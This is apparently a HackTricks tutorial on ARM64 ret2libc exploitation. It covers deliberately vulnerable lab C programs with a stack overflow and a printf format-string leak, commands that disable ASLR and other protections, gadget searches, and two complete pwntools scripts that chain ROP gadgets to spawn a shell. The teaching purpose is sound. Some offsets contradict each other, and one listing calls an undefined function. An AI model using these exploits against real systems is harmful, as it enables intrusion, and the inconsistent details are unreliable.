Ret2lib + Printf leak - ARM64
{{#include ../../../banners/hacktricks-training.md}}
Ret2lib - NX bypass with ROP (no ASLR)
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
Compile without canary and without AArch64 branch protection:
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector -mbranch-protection=none
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
- Recent toolchains may emit PAC/BTI instrumentation by default on some ARM64 targets. If you are building a lab binary for practice,
-mbranch-protection=nonekeeps the classic ret2lib flow reproducible. - You can quickly verify whether the binary carries branch-protection notes with:
readelf --notes -W rop-no-aslr | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
objdump -d rop-no-aslr | grep -E 'bti|paci|auti'
AArch64 ROP reminders
x0tox7hold the first 8 function arguments, so a ret2libc chain must place the pointer to/bin/shinx0before branching tosystem.retjumps to the address stored inx30. In practice, the saved return address is usually restored by an epilogue such asldp x29, x30, [sp], #0x10; ret;.- Keep
sp16-byte aligned at function boundaries. Misaligned stacks can crash in epilogues or inside libc before the chain reachessystem. - On AArch64, very useful gadgets often look like
ldr x0, [sp, #imm]; ldp x29, x30, [sp], #off; ret;because they both set the first argument and advance the ROP chain.
Find offset - x30 offset
Creating a pattern with pattern create 200, using it, and checking for the offset with pattern search $x30 we can see that the offset is 108 (0x6c).
Taking a look to the dissembled main function we can see that we would like to jump to the instruction to jump to printf directly, whose offset from where the binary is loaded is 0x860:
Find system and /bin/sh string
As the ASLR is disabled, the addresses are going to be always the same:
Find Gadgets
We need to have in x0 the address to the string /bin/sh and call system.
Using ropper an interesting gadget was found:
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
This gadget will load x0 from $sp + 0x18 and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can control the first argument and then jump to system.
Exploit
from pwn import *
from time import sleep
context.arch = 'aarch64'
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
p.close()
qemu-aarch64 -L /usr/aarch64-linux-gnu ./rop-no-aslr
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./rop-no-aslr
gdb-multiarch ./rop-no-aslr -ex 'target remote :1234'
Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
Compile without canary:
clang -o rop rop.c -fno-stack-protector -Wno-format-security -mbranch-protection=none
PIE and ASLR but no canary
- Round 1:
- Leak of PIE from stack
- Abuse bof to go back to main
- Round 2:
- Leak of libc from the stack
- ROP: ret2system
Printf leaks
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
Trying different offsets, the %21$p can leak a binary address (PIE bypass) and %25$p can leak a libc address:
Subtracting the libc leaked address with the base address of libc, it's possible to see that the offset of the leaked address from the base is 0x49c40.
[!IMPORTANT]
The exact format-string positions are build-dependent. The values%21$pand%25$pare valid for this binary/libc combination, but different compilers, optimization levels or libc versions can move the interesting pointers. On AArch64 this is especially visible becauseprintfreceives its first arguments in registers first, and only later consumes stack values. In a new target, brute-force several%ppositions or inspect the state right before theprintfcall to re-discover the correct offsets.
Re-discovering the leak positions fast
The AArch64 PCS passes the first integer/pointer arguments in x0 to x7, so a variadic call such as printf(buf) may expose useful pointers only after several stack slots. A practical way to re-find the interesting indexes in a fresh build is to brute-force the positions and keep the ones that look like:
- A pointer into the PIE image (same high bytes as the main binary mapping)
- A pointer into libc (same high bytes as the libc mapping)
- A pointer whose low 12 bits match a known code offset inside the module
from pwn import *
for i in range(1, 40):
p = process('./rop')
p.sendlineafter(b'Printf>\n', f'%{i}$p'.encode())
leak = p.recvline().strip()
print(i, leak)
p.close()
x30 offset
See the previous example as the bof is the same.
Find Gadgets
Like in the previous example, we need to have in x0 the address to the string /bin/sh and call system.
Using ropper another interesting gadget was found:
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
This gadget will load x0 from $sp + 0x78 and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can control the first argument and then jump to system.
When you need to re-find a similar gadget in another libc, a quick ARM64-oriented workflow is:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 --only 'ldr|ldp|ret' --depth 6 | grep 'ldr x0'
ropper --file /usr/lib/aarch64-linux-gnu/libc.so.6 --search 'ldr x0'
This is usually faster than browsing every gadget manually and it adapts better to libc version changes than hard-coding a previously seen offset.
Exploit
from pwn import *
from time import sleep
context.arch = 'aarch64'
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)
# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
assert (libc.address & 0xfff) == 0
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
References
- ARM64 Reversing And Exploitation Part 7 β Bypassing ASLR and NX - 8kSec
- Procedure Call Standard for the Arm 64-bit Architecture (AArch64)
{{#include ../../../banners/hacktricks-training.md}}